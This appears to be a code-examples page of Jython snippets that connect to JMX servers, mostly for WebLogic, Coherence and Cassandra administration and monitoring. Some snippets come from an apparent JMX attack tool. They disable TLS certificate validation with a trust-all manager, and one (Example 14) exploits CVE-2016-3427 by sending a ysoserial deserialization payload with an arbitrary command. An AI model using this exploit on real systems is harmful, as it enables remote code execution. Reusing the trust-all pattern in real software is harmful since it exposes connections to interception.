Ejemplo n.º 1
0
def connectToJMX(args):
    # Basic JMX connection, always required
    trust_managers = array([TrustAllX509TrustManager()], TrustManager)

    sc = SSLContext.getInstance("SSL")
    sc.init(None, trust_managers, None)
    SSLContext.setDefault(sc)
    jmx_url = JMXServiceURL("service:jmx:rmi:///jndi/rmi://" +
                            args.targetHost + ":" + args.targetPort +
                            "/jmxrmi")

    print "[+] Connecting to: " + str(jmx_url)
    try:
        # for passing credentials for password
        if args.jmxpassword and args.jmxrole:
            print("[+] Using credentials: " + str(args.jmxrole) + " / " +
                  str(args.jmxpassword))
            credentials = array([args.jmxrole, args.jmxpassword], String)
            environment = {JMXConnector.CREDENTIALS: credentials}
            jmx_connector = JMXConnectorFactory.connect(jmx_url, environment)
        else:
            jmx_connector = JMXConnectorFactory.connect(jmx_url)

        print "[+] Connected: " + str(jmx_connector.getConnectionId())
        bean_server = jmx_connector.getMBeanServerConnection()
        return bean_server
    except:
        print "[-] Error: Can't connect to remote service"

        if "Authentication failed! Invalid username or password" in str(
                sys.exc_info()[1]):
            print "[-] Authentication failed! Invalid username or password"

        sys.exit(-1)
Ejemplo n.º 2
0
def initConnection(hostname, port, username, password):
	serviceURL = JMXServiceURL("t3", hostname, port,"/jndi/" + DomainRuntimeServiceMBean.MBEANSERVER_JNDI_NAME)
	h=Hashtable()
	h.put(Context.SECURITY_PRINCIPAL, username)
	h.put(Context.SECURITY_CREDENTIALS, password)
	h.put(JMXConnectorFactory.PROTOCOL_PROVIDER_PACKAGES, "weblogic.management.remote")
	return JMXConnectorFactory.connect(serviceURL, h)
    def __createJMXConnection(self):
        "create JMX connection"

        self.__jmxConnection = None
        self.__jmxConnector = None

        try:
            jmxServiceUrl = JMXServiceURL(self.__jmxUrl)
            env = Hashtable()
            cred = array([self.__jmxUser, self.__jmxPassword], String)
            env.put("jmx.remote.credentials", cred)
            logger.info("Connecting to Oracle Coherence MBean Server:" +
                        ` jmxServiceUrl `)
            self.__jmxConnector = JMXConnectorFactory.connect(
                jmxServiceUrl, env)
            self.__jmxConnection = self.__jmxConnector.getMBeanServerConnection(
            )
            logger.info(
                "Successfully connected to Oracle Coherence MBean Server:" +
                ` jmxServiceUrl `)
        except:
            type, value, traceback = sys.exc_info()
            logger.finer("JMX Connection error:" + ` value `)
            self.__jmxConnection = None
            try:
                if self.__jmxConnector:
                    self.__jmxConnector.close()
                    self.__jmxConnector = None
            except:
                type, value, traceback = sys.exc_info()
                logger.finer("JMX Connector close error:" + ` value `)
Ejemplo n.º 4
0
def ejecutaOSB(userAdmin, passAdmin, portAdmin, hostnameAdmin, ambiente):
 now = datetime.datetime.now()
 sessionName = "SesionScriptOSB_"+str(now.day)+"_"+str(now.month)+"_"+str(now.year)+"_"+ambiente
 print "t3", hostnameAdmin, portAdmin, "/jndi/" + DomainRuntimeServiceMBean.MBEANSERVER_JNDI_NAME
 serviceURL = JMXServiceURL("t3", hostnameAdmin, int(portAdmin), "/jndi/" + DomainRuntimeServiceMBean.MBEANSERVER_JNDI_NAME)
 h = Hashtable()
 h.put(Context.SECURITY_PRINCIPAL, userAdmin)
 h.put(Context.SECURITY_CREDENTIALS, passAdmin)
 h.put(JMXConnectorFactory.PROTOCOL_PROVIDER_PACKAGES, "weblogic.management.remote")
 conn = JMXConnectorFactory.connect(serviceURL, h)

 arregloAllProject = []
 arregloAllProxy = []
 arregloAllBS = []
 arregloAllServicesURI = []
 arregloAllDependentS = []
 
 mbconn = conn.getMBeanServerConnection()
 sm = JMX.newMBeanProxy(mbconn, ObjectName.getInstance(SessionManagementMBean.OBJECT_NAME), SessionManagementMBean)
 sm.createSession(sessionName)
 configMBean = JMX.newMBeanProxy(mbconn, ObjectName.getInstance("com.bea:Name=" + ALSBConfigurationMBean.NAME + "." + sessionName + ",Type=" + ALSBConfigurationMBean.TYPE), ALSBConfigurationMBean)
 print "##############################"
 print "###Se genera conexion a OSB###"
 print "##############################"
 arregloAllProject=displayAllProjectsAndServices(ambiente, configMBean)
 arregloAllProxy=getAllProxyServices(ambiente, configMBean)
 arregloAllBS=getAllBusinessServices(ambiente, configMBean)                               
 arregloAllServicesURI=getAllServiceURIs(ambiente, configMBean)
 arregloAllDependentS=getDependentServices(ambiente, configMBean)
 sm.discardSession(sessionName)
 conn.close()
	
 return arregloAllProject, arregloAllProxy, arregloAllBS, arregloAllServicesURI, arregloAllDependentS
Ejemplo n.º 5
0
	def connectAdvanced(self,host,port,map):
		print "Connecting to the server..."
		System.setProperty("javax.net.ssl.trustStore", self.trustStore)
		System.setProperty("javax.net.ssl.trustStorePassword", self.trustStorePassword)
		url = JMXServiceURL("REST", host, port, "/IBMJMXConnectorREST")
		self.connector = JMXConnectorFactory.newJMXConnector(url, map)
		self.connector.connect()
		print "Successfully connected to the server " + '"' + host + ':%i"' % port
Ejemplo n.º 6
0
def connectToJMX(args):
    # Basic JMX connection, always required
    jmx_url = JMXServiceURL("service:jmx:rmi:///jndi/rmi://" + args.targetHost + ":" + args.targetPort + "/jmxrmi")
    print "[+] Connecting to: " + str(jmx_url)
    jmx_connector = JMXConnectorFactory.connect(jmx_url)
    print "[+] Connected: " + str(jmx_connector.getConnectionId())
    bean_server = jmx_connector.getMBeanServerConnection()
    return bean_server
Ejemplo n.º 7
0
	def connectAdvanced(self,host,port,map):
		print "Connecting to the server..."
		System.setProperty("javax.net.ssl.trustStore", self.trustStore)
		System.setProperty("javax.net.ssl.trustStorePassword", self.trustStorePassword)
		url = JMXServiceURL("REST", host, port, "/IBMJMXConnectorREST")
		self.connector = JMXConnectorFactory.newJMXConnector(url, map)
		self.connector.connect()
		print "Successfully connected to the server " + '"' + host + ':%i"' % port
Ejemplo n.º 8
0
def connectToJMX(args):
    # Basic JMX connection, always required
    trust_managers = array([TrustAllX509TrustManager()], TrustManager)

    sc = SSLContext.getInstance("SSL")
    sc.init(None, trust_managers, None)
    SSLContext.setDefault(sc)

    if args.jmxmp:
        jmx_url = jmxmp_url(args)
    else:
        jmx_url = jxmrmi_url(args)

    # import after url in order to import the correct protocol implementation
    from javax.management.remote import JMXConnector
    from javax.management.remote import JMXConnectorFactory

    print "[+] Connecting to: " + str(jmx_url)
    try:
        # for passing credentials for password
        if args.jmxpassword and args.jmxrole:
            print("[+] Using credentials: " + str(args.jmxrole) + " / " +
                  str(args.jmxpassword))
            credentials = array([args.jmxrole, args.jmxpassword], String)
            environment = {JMXConnector.CREDENTIALS: credentials}
            jmx_connector = JMXConnectorFactory.connect(jmx_url, environment)
        else:
            jmx_connector = JMXConnectorFactory.connect(jmx_url)

        print "[+] Connected: " + str(jmx_connector.getConnectionId())
        bean_server = jmx_connector.getMBeanServerConnection()
        return bean_server
    except:
        print "[-] Error: Can't connect to remote service"

        if "Authentication failed! Invalid username or password" in str(
                sys.exc_info()[1]):
            print "[-] Authentication failed! Invalid username or password"

        if "Connection refused to host: 127.0.0.1" in str(sys.exc_info()):
            print "[-] Connection refused to 127.0.0.1! Try the localhost_bypass"

        sys.exit(-1)
Ejemplo n.º 9
0
def get_mbean_server_connection(hostname, port, username, password):
    if verbose:
        print >> sys.stderr, "Conectandome al servidor de jmx..."
    jmx_service_url = JMXServiceURL(
        "t3", hostname, port,
        "/jndi/%s" % DomainRuntimeServiceMBean.MBEANSERVER_JNDI_NAME)
    credentials_map = HashMap()
    credentials_map.put(Context.SECURITY_PRINCIPAL, username)
    credentials_map.put(Context.SECURITY_CREDENTIALS, password)
    credentials_map.put(JMXConnectorFactory.PROTOCOL_PROVIDER_PACKAGES,
                        "weblogic.management.remote")
    return JMXConnectorFactory.connect(jmx_service_url, credentials_map)
Ejemplo n.º 10
0
def connectToJMX(args):
    # Basic JMX connection, always required
    jmx_url = JMXServiceURL("service:jmx:rmi:///jndi/rmi://" + args.targetHost + ":" + args.targetPort + "/jmxrmi")
    print "[+] Connecting to: " + str(jmx_url)
    try:
        jmx_connector = JMXConnectorFactory.connect(jmx_url)
        print "[+] Connected: " + str(jmx_connector.getConnectionId())
        bean_server = jmx_connector.getMBeanServerConnection()
        return bean_server
    except IOException:
        print "[-] Error: Can't connect to remote service"
        sys.exit(-1)
Ejemplo n.º 11
0
def connectToJMX(args):
    # Basic JMX connection, always required
    trust_managers = array([TrustAllX509TrustManager()], TrustManager)

    sc = SSLContext.getInstance("SSL")
    sc.init(None, trust_managers, None)
    SSLContext.setDefault(sc)
    jmx_url = JMXServiceURL("service:jmx:rmi:///jndi/rmi://" +
                            args.targetHost + ":" + args.targetPort +
                            "/jmxrmi")
    print "[+] Connecting to: " + str(jmx_url)
    try:
        jmx_connector = JMXConnectorFactory.connect(jmx_url)
        print "[+] Connected: " + str(jmx_connector.getConnectionId())
        bean_server = jmx_connector.getMBeanServerConnection()
        return bean_server
    except IOException:
        print "[-] Error: Can't connect to remote service"
        sys.exit(-1)
Ejemplo n.º 12
0
def open_jmx_connection(url):
    """Connect to JMX instance

    Args:
        url (str): jmx url to connect to

    Returns:
        jmxConnector: jmx server connection
        MBeanServerConnection: bean server connection

    """

    try:
        jmxServiceUrl = JMXServiceURL(url);
        jmxConnector = JMXConnectorFactory.connect(jmxServiceUrl);
        mBeanServerConnection = jmxConnector.getMBeanServerConnection()
    except Exception, e:
        logger.error('Cannot connect to JMX instance. Error: ' + str(e))
        return None, None
Ejemplo n.º 13
0
    def do_connect(self, host):
        "Connect to the JMX endpoint on a given host."

        if not host:
            print "Expected name of host."
            return

        if self.jmx_connection:
            self.do_close()

        url = JMXServiceURL(URL_FORMAT % host)
        self.jmx_connection = JMXConnectorFactory.connect(url)

        try:
            self.connection = self.jmx_connection.getMBeanServerConnection()
        except java.io.IOException:
            self.jmx_connection.close()
            self.jmx_connection = None
            raise

        print "Connected to", host
Ejemplo n.º 14
0
def cve_2016_3427Mode(args):
    if not os.path.isfile('./jars/ysoserial.jar'):
        print "[-] Error: Did not find ysoserial.jar in jars directory. Please download it from https://github.com/frohoff/ysoserial and move it in the jars directory"
        sys.exit(1)

    sys.path.append("./jars/ysoserial.jar")
    print "[+] Added ysoserial API capacities"

    from ysoserial.payloads.ObjectPayload import Utils
    payload_object = Utils.makePayloadObject(args.gadget, args.cmd)

    trust_managers = array([TrustAllX509TrustManager()], TrustManager)

    sc = SSLContext.getInstance("SSL")
    sc.init(None, trust_managers, None)
    SSLContext.setDefault(sc)

    from javax.management.remote import JMXConnector
    from javax.management.remote import JMXConnectorFactory

    jmx_url = jxmrmi_url(args)

    print "[+] Connecting to: " + str(jmx_url)
    try:
        environment = {JMXConnector.CREDENTIALS: payload_object}
        jmx_connector = JMXConnectorFactory.connect(jmx_url, environment)
    except:
        if "java.io.InvalidClassException: filter status: REJECTED" in str(
                sys.exc_info()):
            print "[-] Not vulnerable"
        elif "Credentials should be String[]" in str(sys.exc_info()):
            print "[+] Object was deserialized, target could be vulnerable"

        print "[?]: Returned error: "
        print str(sys.exc_info())

    print "[+] Done"
mBeanName = "oracle.soa.config:Application=soa-infra,j2eeType=CompositeLifecycleConfig,name=soa-infra"
jndiProps = Hashtable()
jndiProps.put(Context.PROVIDER_URL, providerURL)
jndiProps.put(Context.INITIAL_CONTEXT_FACTORY,
              "weblogic.jndi.WLInitialContextFactory")
jndiProps.put(Context.SECURITY_PRINCIPAL, username)
jndiProps.put(Context.SECURITY_CREDENTIALS, password)

myLocator = LocatorFactory.createLocator(jndiProps)
jmxurl = "service:jmx:t3://" + host + ":" + port + "/jndi/" + mbeanRuntime
serviceURL = JMXServiceURL(jmxurl)
ht = Hashtable()
ht.put("java.naming.security.principal", username)
ht.put("java.naming.security.credentials", password)
ht.put("jmx.remote.protocol.provider.pkgs", jmxProtoProviderPackages)
jmxConnector = JMXConnectorFactory.newJMXConnector(serviceURL, ht)
jmxConnector.connect()
mbsc = jmxConnector.getMBeanServerConnection()
mbean = ObjectName(mBeanName)

compositedn = CompositeDN("EAIUCM", "CompositeName", "1.0")
# Change composite and version no.
composite = myLocator.lookupComposite(compositedn)
filter = CompositeInstanceFilter()

format = SimpleDateFormat("yyyy-MM-dd HH:mm")
minDate = format.parse("2019-11-06 21:00")  # Change according to your need
maxDate = format.parse("2019-11-06 21:25")  # Change according to your need

print minDate
print maxDate
Ejemplo n.º 16
0
if __name__=='__main__':
	signal.signal(signal.SIGINT, sig_handler)
        credentials = array(["",""],String)
        environment = {JMXConnector.CREDENTIALS:credentials}
	if len(sys.argv[1:])==5:
		serverUrl = sys.argv[1]
		outputdir=sys.argv[2]
		cores=sys.argv[3]
		pid=sys.argv[4]
		filename=sys.argv[5]
		opDir=os.path.join(os.path.dirname(__file__),outputdir)
		# if os.path.exists(opDir):
		#	shutil.rmtree(opDir)
		# os.makedirs(opDir)
		jmxServiceUrl = JMXServiceURL('service:jmx:rmi:///jndi/rmi://'+str(serverUrl)+':7199/jmxrmi');
		jmxConnector = JMXConnectorFactory.connect(jmxServiceUrl,environment);
		mBeanServerConnection = jmxConnector.getMBeanServerConnection()
		print('started')
		while True:
			count['count']=count['count']+1
			print(count['count'])
			thread1=AntiEntropyStageActive()
			thread2=CacheCleanupExecutorActive()
			thread3=CompactionExecutorActive()
			thread4=GossipStageActive()
			thread5=HintsDispatcherActive()
			thread6=InternalResponseStageActive()
			thread7=MemtableFlushWriterActive()
			thread8=MemtablePostFlushActive()
			thread9=MemtableReclaimMemoryActive()
			thread10=MigrationStageActive()
Ejemplo n.º 17
0
def main():
    parser = argparse.ArgumentParser(
        description="Dump JMX metrics to InfluxDB DML file")
    parser.add_argument('-v',
                        '--verbose',
                        action='count',
                        default=0,
                        help='More verbose output, can use several times.')
    parser.add_argument("-s",
                        "--server",
                        default="127.0.0.1",
                        help="Server IP address")
    parser.add_argument("-p",
                        "--port",
                        type=int,
                        default=7199,
                        help="Port number")
    parser.add_argument("-u", "--user", default=None, help="User name")
    parser.add_argument("-P", "--password", default=None, help="Password")
    parser.add_argument("-r",
                        "--period",
                        default=60,
                        type=int,
                        help="Sampling period in seconds.")
    parser.add_argument("-o",
                        "--output",
                        default="cassandra_jmx_mon-{host}-{ts}.dat",
                        help="Password")
    parser.add_argument(
        "-R",
        "--rotate-hours",
        default=None,
        type=int,
        help="Output file rotation period in hours, default is no rotation.")
    parser.add_argument("-C",
                        "--compress",
                        default=False,
                        action="store_true",
                        help="Compress output file.")
    parser.add_argument("-c",
                        "--config",
                        default="cassandra_jmx_mon.yaml",
                        help="YAML configuration file.")
    parser.add_argument("-D",
                        "--database",
                        default="ap_proto",
                        help="Name of the InfluxDB database.")
    parser.add_argument("-H",
                        "--host",
                        default=socket.gethostname(),
                        help="Add host name as a tag.")
    parser.add_argument(
        "-d",
        "--dump",
        default=False,
        action="store_true",
        help="Dump full list of metrics and attributes and exit")

    args = parser.parse_args()

    # configure logging
    _configLogger(args.verbose)

    # Set the signal handler
    signal.signal(signal.SIGINT, intHandler)

    # connect to server
    environment = {}
    if args.user or args.password:
        credentials = array([args.user, args.password], String)
        environment = {JMXConnector.CREDENTIALS: credentials}
    jmxServiceUrl = JMXServiceURL(
        'service:jmx:rmi:///jndi/rmi://{}:{}/jmxrmi'.format(
            args.server, args.port))
    jmxConnector = JMXConnectorFactory.connect(jmxServiceUrl, environment)

    with closing(jmxConnector):
        conn = jmxConnector.getMBeanServerConnection()

        if args.dump:
            _dump(conn)
            return

        config = _read_config(args.config)
        _run(conn, config, args)